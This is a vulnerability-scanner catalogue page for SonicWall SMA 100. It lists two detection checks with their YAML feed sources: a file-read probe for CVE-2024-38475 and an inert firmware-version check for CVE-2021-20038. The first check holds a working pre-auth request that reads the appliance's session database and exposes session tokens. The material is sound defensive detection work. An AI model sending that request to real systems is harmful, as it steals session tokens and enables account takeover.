SonicWall SMA 100 — 2 vulnerability checks
noctis ships 2 vulnerability checks for SonicWall SMA 100, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
SonicWall SMA100 Pre-Auth Arbitrary File Read via Apache mod_rewrite Bypass
| CVE | CVE-2024-38475 |
|---|---|
| Severity | critical · CVSS 9.1 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/sonicwall-sma/CVE-2024-38475.yaml |
Detects Apache mod_rewrite URL-bypass allowing unauthenticated reads of /tmp/temp.db session database.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /tmp/temp.db%3f.1.1.1.1a-1.css HTTP/1.0 - Checks
resp.bannerforSQLite format - Checks
resp.bannerforsessionId→ finding QoD 75: SonicWall SMA100 session database /tmp/temp.db read via mod_rewrite %3f bypass — session tokens exposed: …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2024-38475
- https://labs.watchtowr.com/sonicboom-from-stolen-tokens-to-remote-shells-sonicwall-sma100-cve-2023-44221-cve-2024-38475/
- https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0019
Feed source — tests/vulnerabilities/sonicwall-sma/CVE-2024-38475.yaml
uid: 8c4157d1-072e-4f3a-8290-b6eb0a94e5c5
name: "SonicWall SMA100 Pre-Auth Arbitrary File Read via Apache mod_rewrite Bypass"
description: "Detects Apache mod_rewrite URL-bypass allowing unauthenticated reads of /tmp/temp.db session database."
cves: [CVE-2024-38475]
cvss: 9.1
severity: critical
category: file-read
confidence_base: 0.30
tags: [lfi, path-traversal, credentials, kev, pre-auth, mod-rewrite]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2024-38475"
- "https://labs.watchtowr.com/sonicboom-from-stolen-tokens-to-remote-shells-sonicwall-sma100-cve-2023-44221-cve-2024-38475/"
- "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0019"
steps:
- id: init-sonicwall-ok
action: set_var
var_name: sonicwall_ok
var_value: false
# Must use tcp_connect — reqwest decodes %3f to ?, breaking the mod_rewrite bypass
- id: sqlite-probe
action: tcp_connect
port: "{{port}}"
send: "GET /tmp/temp.db%3f.1.1.1.1a-1.css HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: resp
- id: sqlite-magic-check
action: match
source: resp.banner
pattern: "SQLite format"
condition: "resp.connected"
on_match:
set_vars:
sonicwall_ok: true
- id: session-id-match
action: match
source: resp.banner
pattern: "sessionId"
condition: "sonicwall_ok == true"
on_match:
finding:
confidence_delta: 0.32
qod: 75
evidence: "SonicWall SMA100 session database /tmp/temp.db read via mod_rewrite %3f bypass — session tokens exposed: {{resp.banner}}"SonicWall SMA100 Pre-Auth httpd/CGI Stack Buffer Overflow
| CVE | CVE-2021-20038 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | set_var, tcp_connect, script, match · highest QoD 75 |
| Feed | tests/vulnerabilities/sonicwall-sma/CVE-2021-20038.yaml |
Detects SonicWall SMA100 series appliances whose management web interface runs a firmware build affected by CVE-2021-20038, an unauthenticated stack buffer overflow in the httpd/CGI management handler that leads to remote root code execution (CISA KEV, known ransomware use). The check is a safe, inert differential: it never sends an overflow payload. It confirms the SMA100 management httpd (Server banner + "SMA 100" product string), that the vulnerable /cgi-bin/management handler is reachable, and that the advertised firmware version is at or below a fixed build (fixed in 10.2.1.3-27sv, 10.2.0.9-41sv and 9.0.0.11-31sv).
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi-bin/welcome HTTP/1.0 - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi-bin/management HTTP/1.0 - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Checks
fw_versionfor^[0-9]→ finding QoD 75: SonicWall SMA100 Pre-Auth httpd/CGI Stack Buffer Overflow (CVE-2021-20038)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2021-20038
- https://github.com/jbaines-r7/badblood
- https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0026
Feed source — tests/vulnerabilities/sonicwall-sma/CVE-2021-20038.yaml
# SonicWall SMA100 httpd/CGI pre-auth stack buffer overflow (CVE-2021-20038).
#
# CVE-2021-20038 is a stack buffer overflow in the SMA100 series httpd that
# serves the management web interface; an unauthenticated attacker can corrupt
# the stack and (per the badblood PoC) achieve remote root code execution. It
# is in the CISA KEV catalogue with known ransomware use.
#
# SAFE FINGERPRINT — NO OVERFLOW. This is a memory-corruption bug: sending the
# real overflow/ROP payload would crash or compromise the target. Following the
# inert-detection precedent, this feed never sends an oversized buffer, shell
# payload or ROP chain. Instead it keys on a tight DIFFERENTIAL that a reviewer
# cannot satisfy with a single constant marker:
# 1. the SMA100 management httpd is identified by its Server banner
# ("SonicWALL SSL-VPN Web Server") AND the "SMA 100" product string;
# 2. the vulnerable management CGI handler (/cgi-bin/management) is reachable
# (the overflow lives in this httpd/CGI path);
# 3. the advertised firmware version is parsed and numerically compared to the
# fixed builds (10.2.1.3-27sv / 10.2.0.9-41sv / 9.0.0.11-31sv) — only a
# build in the vulnerable range reports.
# A constant-marker mock (no parseable version) and a patched-version mock both
# fail the version gate, so neither produces a finding.
uid: 2da69b77-afd4-4bd9-a3f3-55c39ec011e8
name: "SonicWall SMA100 Pre-Auth httpd/CGI Stack Buffer Overflow (CVE-2021-20038)"
description: |
Detects SonicWall SMA100 series appliances whose management web interface runs
a firmware build affected by CVE-2021-20038, an unauthenticated stack buffer
overflow in the httpd/CGI management handler that leads to remote root code
execution (CISA KEV, known ransomware use). The check is a safe, inert
differential: it never sends an overflow payload. It confirms the SMA100
management httpd (Server banner + "SMA 100" product string), that the
vulnerable /cgi-bin/management handler is reachable, and that the advertised
firmware version is at or below a fixed build (fixed in 10.2.1.3-27sv,
10.2.0.9-41sv and 9.0.0.11-31sv).
cves: [CVE-2021-20038]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [sonicwall, sma100, buffer-overflow, rce, kev, pre-auth, cgi, httpd]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2021-20038"
- "https://github.com/jbaines-r7/badblood"
- "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0026"
steps:
# Gate/state variables, seeded first so conditions never read an undefined
# Rhai var (which throws and is silently skipped).
- id: init-sma-fingerprint
action: set_var
var_name: sma_fingerprint
var_value: false
- id: init-cgi-reachable
action: set_var
var_name: cgi_reachable
var_value: false
- id: init-sma-vulnerable
action: set_var
var_name: sma_vulnerable
var_value: false
- id: init-fw-version
action: set_var
var_name: fw_version
var_value: ""
# 1. Fetch the SMA100 management login page verbatim over HTTP/1.0 so the raw
# Server header and HTML body land together in resp.banner (tcp_connect
# auto-wraps TLS for an https service).
- id: welcome-probe
action: tcp_connect
port: "{{port}}"
send: "GET /cgi-bin/welcome HTTP/1.0\r\nHost: {{target_host}}\r\nAccept: */*\r\n\r\n"
timeout_secs: 10
store_as: resp_welcome
# SMA100 management server fingerprint: the SonicWALL SSL-VPN httpd Server
# banner AND the "SMA 100" product string must both be present.
- id: fingerprint-check
action: script
condition: "resp_welcome.connected == true"
store_as: fp_check
code: |
if type_of(resp_welcome.banner) == "string" {
let has_server = stridx(resp_welcome.banner, "SonicWALL SSL-VPN Web Server") >= 0;
let has_product = stridx(resp_welcome.banner, "SMA 100") >= 0;
if has_server && has_product { sma_fingerprint = true; }
}
sma_fingerprint
# 2. Confirm the vulnerable management CGI handler is reachable (the overflow
# lives in this httpd/CGI path). A benign, non-oversized GET only — a 404
# marks the handler absent (patched builds that remove it, or non-SMA
# targets).
- id: cgi-probe
action: tcp_connect
condition: "sma_fingerprint == true"
port: "{{port}}"
send: "GET /cgi-bin/management HTTP/1.0\r\nHost: {{target_host}}\r\nAccept: */*\r\n\r\n"
timeout_secs: 10
store_as: resp_cgi
- id: cgi-reachable-check
action: script
condition: "sma_fingerprint == true && resp_cgi.connected == true"
store_as: cgi_check
code: |
if type_of(resp_cgi.banner) == "string" {
let m = eregmatch("HTTP/1\\.[01] ([0-9]+)", resp_cgi.banner);
if m.len() > 1 && int(m[1]) != 404 { cgi_reachable = true; }
}
cgi_reachable
# 3. Parse the advertised firmware version and compare numerically to the
# fixed builds. Vulnerable branches (SNWLID-2021-0026):
# 10.2.1.x fixed in 10.2.1.3-27sv → d <= 2 vulnerable
# 10.2.0.x fixed in 10.2.0.9-41sv → d <= 8 vulnerable
# 9.0.0.x fixed in 9.0.0.11-31sv → d <= 10 vulnerable
# A mock with no parseable "a.b.c.d-NNsv" version cannot pass this gate.
- id: version-parse
action: script
condition: "sma_fingerprint == true && cgi_reachable == true"
store_as: version_check
code: |
if type_of(resp_welcome.banner) == "string" {
let v = eregmatch("([0-9]+)\\.([0-9]+)\\.([0-9]+)\\.([0-9]+)-([0-9]+)sv", resp_welcome.banner);
if v.len() >= 6 {
fw_version = v[0];
let a = int(v[1]);
let b = int(v[2]);
let c = int(v[3]);
let d = int(v[4]);
if a == 10 && b == 2 && c == 1 && d <= 2 { sma_vulnerable = true; }
else if a == 10 && b == 2 && c == 0 && d <= 8 { sma_vulnerable = true; }
else if a == 9 && b == 0 && c == 0 && d <= 10 { sma_vulnerable = true; }
}
}
sma_vulnerable
# Report only when all three independent signals line up: SMA100 management
# httpd fingerprint + reachable vulnerable CGI handler + a firmware build in
# the affected range.
- id: report
action: match
condition: "sma_fingerprint == true && cgi_reachable == true && sma_vulnerable == true"
source: fw_version
pattern: "^[0-9]"
on_match:
finding:
title: "SonicWall SMA100 Pre-Auth httpd/CGI Stack Buffer Overflow (CVE-2021-20038)"
description: "The SMA100 management interface advertises a firmware build affected by CVE-2021-20038, an unauthenticated stack buffer overflow in the httpd/CGI management handler leading to remote root code execution."
remediation: "Upgrade SMA100 firmware to a fixed build: 10.2.1.3-27sv, 10.2.0.9-41sv or 9.0.0.11-31sv (or later). See SNWLID-2021-0026."
confidence_delta: 0.55
qod: 75
evidence: "SMA100 management httpd (SonicWALL SSL-VPN Web Server) with reachable /cgi-bin/management and vulnerable firmware build {{fw_version}}"
stop: true